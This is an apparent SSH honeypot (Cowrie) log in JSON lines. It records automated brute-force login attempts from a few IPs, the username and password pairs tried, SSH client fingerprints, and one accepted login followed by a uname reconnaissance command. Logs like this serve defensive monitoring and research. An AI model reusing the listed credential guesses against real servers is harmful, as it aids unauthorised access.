{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:18.082270Z","src_ip":"192.109.200.78","session":"eb75a6b27746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200191","message":"login attempt [admin/200191] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:18.590330Z","src_ip":"2.57.121.112","session":"09cd1b2b4505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:19.167271Z","src_ip":"192.109.200.78","session":"eb75a6b27746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200186","message":"login attempt [admin/200186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:19.694676Z","src_ip":"2.57.121.112","session":"09cd1b2b4505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33916,"dst_ip":"159.203.135.109","dst_port":22,"session":"5198699f87c4","protocol":"ssh","message":"New connection: 192.109.200.78:33916 (159.203.135.109:22) [session: 5198699f87c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:20.201649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:20.230708Z","src_ip":"192.109.200.78","session":"5198699f87c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:20.296344Z","src_ip":"192.109.200.78","session":"5198699f87c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:20.608983Z","src_ip":"192.109.200.78","session":"5198699f87c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20011998","message":"login attempt [admin/20011998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:20.799873Z","src_ip":"2.57.121.112","session":"09cd1b2b4505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40426,"dst_ip":"159.203.135.109","dst_port":22,"session":"017456218e83","protocol":"ssh","message":"New connection: 159.203.92.129:40426 (159.203.135.109:22) [session: 017456218e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:21.481667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:21.588278Z","src_ip":"159.203.92.129","session":"017456218e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:21.592305Z","src_ip":"159.203.92.129","session":"017456218e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:21.701020Z","src_ip":"192.109.200.78","session":"5198699f87c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Record","password":"123456","message":"login attempt [Record/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:21.791860Z","src_ip":"159.203.92.129","session":"017456218e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20011974","message":"login attempt [admin/20011974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:21.905037Z","src_ip":"2.57.121.112","session":"09cd1b2b4505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:22.798180Z","src_ip":"159.203.92.129","session":"017456218e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:23.008925Z","src_ip":"2.57.121.112","session":"09cd1b2b4505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33942,"dst_ip":"159.203.135.109","dst_port":22,"session":"035d0633cbbb","protocol":"ssh","message":"New connection: 192.109.200.78:33942 (159.203.135.109:22) [session: 035d0633cbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:24.248784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:24.255068Z","src_ip":"192.109.200.78","session":"035d0633cbbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:24.338809Z","src_ip":"192.109.200.78","session":"035d0633cbbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:24.589213Z","src_ip":"192.109.200.78","session":"035d0633cbbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:25.786817Z","src_ip":"192.109.200.78","session":"035d0633cbbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58722,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae690356764e","protocol":"ssh","message":"New connection: 192.109.200.78:58722 (159.203.135.109:22) [session: ae690356764e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:28.264687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:28.269304Z","src_ip":"192.109.200.78","session":"ae690356764e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:28.352086Z","src_ip":"192.109.200.78","session":"ae690356764e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:28.646395Z","src_ip":"192.109.200.78","session":"ae690356764e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:28.890924Z","src_ip":"192.109.200.78","session":"ae690356764e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:28.895005Z","src_ip":"192.109.200.78","session":"ae690356764e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:28.981350Z","src_ip":"192.109.200.78","session":"ae690356764e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:28.986774Z","src_ip":"192.109.200.78","session":"ae690356764e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58724,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f27493f43dc","protocol":"ssh","message":"New connection: 192.109.200.78:58724 (159.203.135.109:22) [session: 4f27493f43dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:32.410488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:32.414997Z","src_ip":"192.109.200.78","session":"4f27493f43dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:32.503891Z","src_ip":"192.109.200.78","session":"4f27493f43dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:32.751039Z","src_ip":"192.109.200.78","session":"4f27493f43dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:33.837224Z","src_ip":"192.109.200.78","session":"4f27493f43dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58732,"dst_ip":"159.203.135.109","dst_port":22,"session":"381c283bf4bd","protocol":"ssh","message":"New connection: 192.109.200.78:58732 (159.203.135.109:22) [session: 381c283bf4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:36.575052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:36.589041Z","src_ip":"192.109.200.78","session":"381c283bf4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:36.659003Z","src_ip":"192.109.200.78","session":"381c283bf4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:36.980877Z","src_ip":"192.109.200.78","session":"381c283bf4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:38.065901Z","src_ip":"192.109.200.78","session":"381c283bf4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40200,"dst_ip":"159.203.135.109","dst_port":22,"session":"4123eaba807f","protocol":"ssh","message":"New connection: 192.109.200.78:40200 (159.203.135.109:22) [session: 4123eaba807f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:40.683805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:40.688549Z","src_ip":"192.109.200.78","session":"4123eaba807f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:40.776220Z","src_ip":"192.109.200.78","session":"4123eaba807f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:41.032243Z","src_ip":"192.109.200.78","session":"4123eaba807f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:42.121749Z","src_ip":"192.109.200.78","session":"4123eaba807f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40210,"dst_ip":"159.203.135.109","dst_port":22,"session":"9efa92c3f53d","protocol":"ssh","message":"New connection: 192.109.200.78:40210 (159.203.135.109:22) [session: 9efa92c3f53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:44.928344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:44.933392Z","src_ip":"192.109.200.78","session":"9efa92c3f53d","protocol":"ssh"}
